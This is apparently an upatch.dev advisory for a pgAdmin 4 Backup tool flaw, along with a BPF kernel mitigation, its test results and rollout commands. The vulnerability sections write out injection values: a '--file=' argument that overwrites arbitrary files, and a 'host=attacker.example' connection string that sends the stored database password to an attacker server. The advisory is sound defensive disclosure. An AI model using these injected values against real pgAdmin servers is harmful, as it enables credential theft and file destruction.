# CVE-2026-86864: pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool

The Markdown version of <https://upatch.dev/cve/CVE-2026-86864>. Last updated 25 Nov 2026.

## At a glance

CVE-2026-86864 is rated High 8.7 (CVSS 4.0, CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X). It affects pgAdmin 4 (pgadmin.org) and was published on 17 Sept 2026. It is not in CISA's Known Exploited Vulnerabilities catalog. Its EPSS score is 0.6%: the estimated chance it is exploited in the next 30 days, as of 25 Nov 2026. The upatch `cve-2026-86864-pgdump-block` mitigates it, and is vetted (merged into the registry).

A upatch is a signed BPF program that shirudo loads into a running Linux kernel to block the code path this CVE's exploit takes. It holds the line until the fix ships; it does not replace patching.

## The vulnerability

CVE-2026-86864, published on 17 September 2026 and tracked in pgAdmin 4 issue #10384, affects pgAdmin 4 versions prior to 9.18. In `web/pgadmin/tools/backup/__init__.py`, `create_backup_objects_job` appended the client-supplied `database` field from the `/backup/job/<sid>/object` request directly to the `pg_dump` argument vector as a bare trailing positional argument without validation. Because `pg_dump` parses options with `getopt_long`, which permutes arguments, a `database` value such as `--file=/absolute/path` was parsed as an option and overrode the storage-confined `--file` flag that pgAdmin placed at the start of the argument vector, allowing arbitrary file creation and overwrite outside the user's File Manager storage directory as the OS account running pgAdmin. Additionally, because `libpq` expands a positional database name containing `=` into a connection string, a value such as `host=attacker.example port=5432 dbname=x` overrode `--host` and `--port` and redirected `pg_dump` along with the exported `PGPASSWORD` environment variable to an attacker-controlled server.

### Official description

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/\<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.

The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.

The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.

This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

## What the upatch does

One sleepable BPF LSM program on `lsm.s/bprm_creds_for_exec` inspects executions where:

1. The target executable name (`bprm->file->f_path.dentry->d_name`) is `pg_dump`.
2. The calling process executable (`current->mm->exe_file->f_path.dentry->d_name` or `current->comm`) starts with `python` (matching `process_executor.py` spawned by pgAdmin 4).
3. The trailing arguments in the caller's `execve` / `execveat` `argv` vector (`argv[bprm->argc - 1]` and `argv[bprm->argc - 2]`, read via `bpf_task_pt_regs`) either specify `--file` / `-f` at the end of the argument vector (whereas pgAdmin always places its legitimate `--file <backup_file>` at the beginning of `args`) or have a final positional argument that does not start with `-` and contains `=` (a `libpq` connection string).

When all three conditions hold, the program increments the `refused` per-CPU counter and returns `-EPERM`.

The policy: [`cve-2026-86864-pgdump-block.bpf.c`](https://github.com/copper-helm/upatch-registry/tree/main/upatches/cve-2026-86864), 151 lines of BPF C attached at `lsm.s/bprm_creds_for_exec`, licensed GPL-2.0 OR BSD-2-Clause.

## Side effects

- Any `pg_dump` job launched by pgAdmin 4 whose trailing `database` argument injects `--file` / `-f` or contains `=` fails immediately at `execve` with `EPERM`.
- Normal object backups in pgAdmin 4 whose database name does not contain `=` continue to work.
- Fixed pgAdmin 4 releases (9.18 and later) pass the database name in the `PGDATABASE` environment variable rather than on the command line, so database names containing `=` work normally on 9.18+.

## Preemption model and cost

The program uses a per-CPU array map updated with `__sync_fetch_and_add`, making it safe under all preemption models including `PREEMPT_LAZY`, `PREEMPT_DYNAMIC`, and `PREEMPT_RT`. On every `execve` of a binary other than `pg_dump`, the program checks only the 7-byte target dentry length and returns immediately without reading user memory.

## Affected versions

pgAdmin 4:

| Product   | Affected | Fixed in |
| --------- | -------- | -------- |
| pgAdmin 4 | < 9.18   | 9.18     |

## How it was tested

On a vulnerable pgAdmin 4 9.17, the loaded upatch refused the pg_dump execution with an injected --file option at lsm.s/bprm_creds_for_exec so no file was written outside storage, while before loading and after unloading pg_dump ran and wrote the probe file outside storage.

- **Tested:** 25 Nov 2026
- **Target:** pgAdmin 4 9.17 on Python 3.12 listening on 127.0.0.1:5050
- **Kernel:** 7.4-shirudo-ci-20261123
- **Architecture:** x86_64

### Results

| State           | Injected --file option executes pg_dump and writes outside storage |
| --------------- | ------------------------------------------------------------------ |
| Before loading  | yes (outside-f996baa1bbbd.sql written)                             |
| Upatch loaded   | no (execve refused with EPERM)                                     |
| After unloading | yes (outside-9a39bb5a6591.sql written)                             |

## How to apply

Build the upatch from source, sign it with your own shirudo key, and publish it to your own OCI registry. Machines that follow your upatch tree load it within about a minute.

Build and sign:

```sh
git clone https://github.com/copper-helm/upatch-registry
cd upatch-registry
tools/build <shirudo-checkout> <keys-dir> 1.0.0 upatches/cve-2026-86864
```

Publish and roll out:

```sh
shirudo bpm push build/packages/cve-2026-86864-1.0.0.bee oci://<registry>/<namespace>/cve-2026-86864 --keys-dir <keys-dir>
shirudo bpm tree append build/packages/cve-2026-86864-1.0.0.bee oci://<registry>/<namespace>/<tree> --tree-id <tree-id> --keys-dir <keys-dir>
```

## Review

- Contributors: romanlab.
- Reviewers: none recorded yet.

## Sources and links

- [CVE-2026-86864 record (CVE API)](https://cveawg.mitre.org/api/cve/CVE-2026-86864)
- [pgAdmin 4 issue #10384](https://github.com/pgadmin-org/pgadmin4/issues/10384)
- [pgAdmin 4 9.18 release notes](https://github.com/pgadmin-org/pgadmin4/blob/REL-9_18/docs/en_US/release_notes_9_18.rst)
- Fix commits: [82a88b74f9bb](https://github.com/pgadmin-org/pgadmin4/commit/82a88b74f9bb185f39db12881ee56ff2ec1c54f8), [a14469290eb2](https://github.com/pgadmin-org/pgadmin4/commit/a14469290eb21da73f4f6864aeb12520e090d85a), [5082834a2767](https://github.com/pgadmin-org/pgadmin4/commit/5082834a2767aa787223a62213374af9f0ad5930)

### Links

- [CVE-2026-86864 on upatch.dev](https://upatch.dev/cve/CVE-2026-86864) (this page, as HTML)
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-86864)
- [CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-86864)
- [Vendor advisory](https://github.com/pgadmin-org/pgadmin4/issues/10384)
- [CWE-22](https://cwe.mitre.org/data/definitions/22.html)
- [CWE-88](https://cwe.mitre.org/data/definitions/88.html)
- Upatch source: [upatches/cve-2026-86864](https://github.com/copper-helm/upatch-registry/tree/main/upatches/cve-2026-86864)

### More references from NVD (1)

- [github.com](https://github.com/pgadmin-org/pgadmin4/issues/10384) (Issue Tracking, Patch, Vendor Advisory)
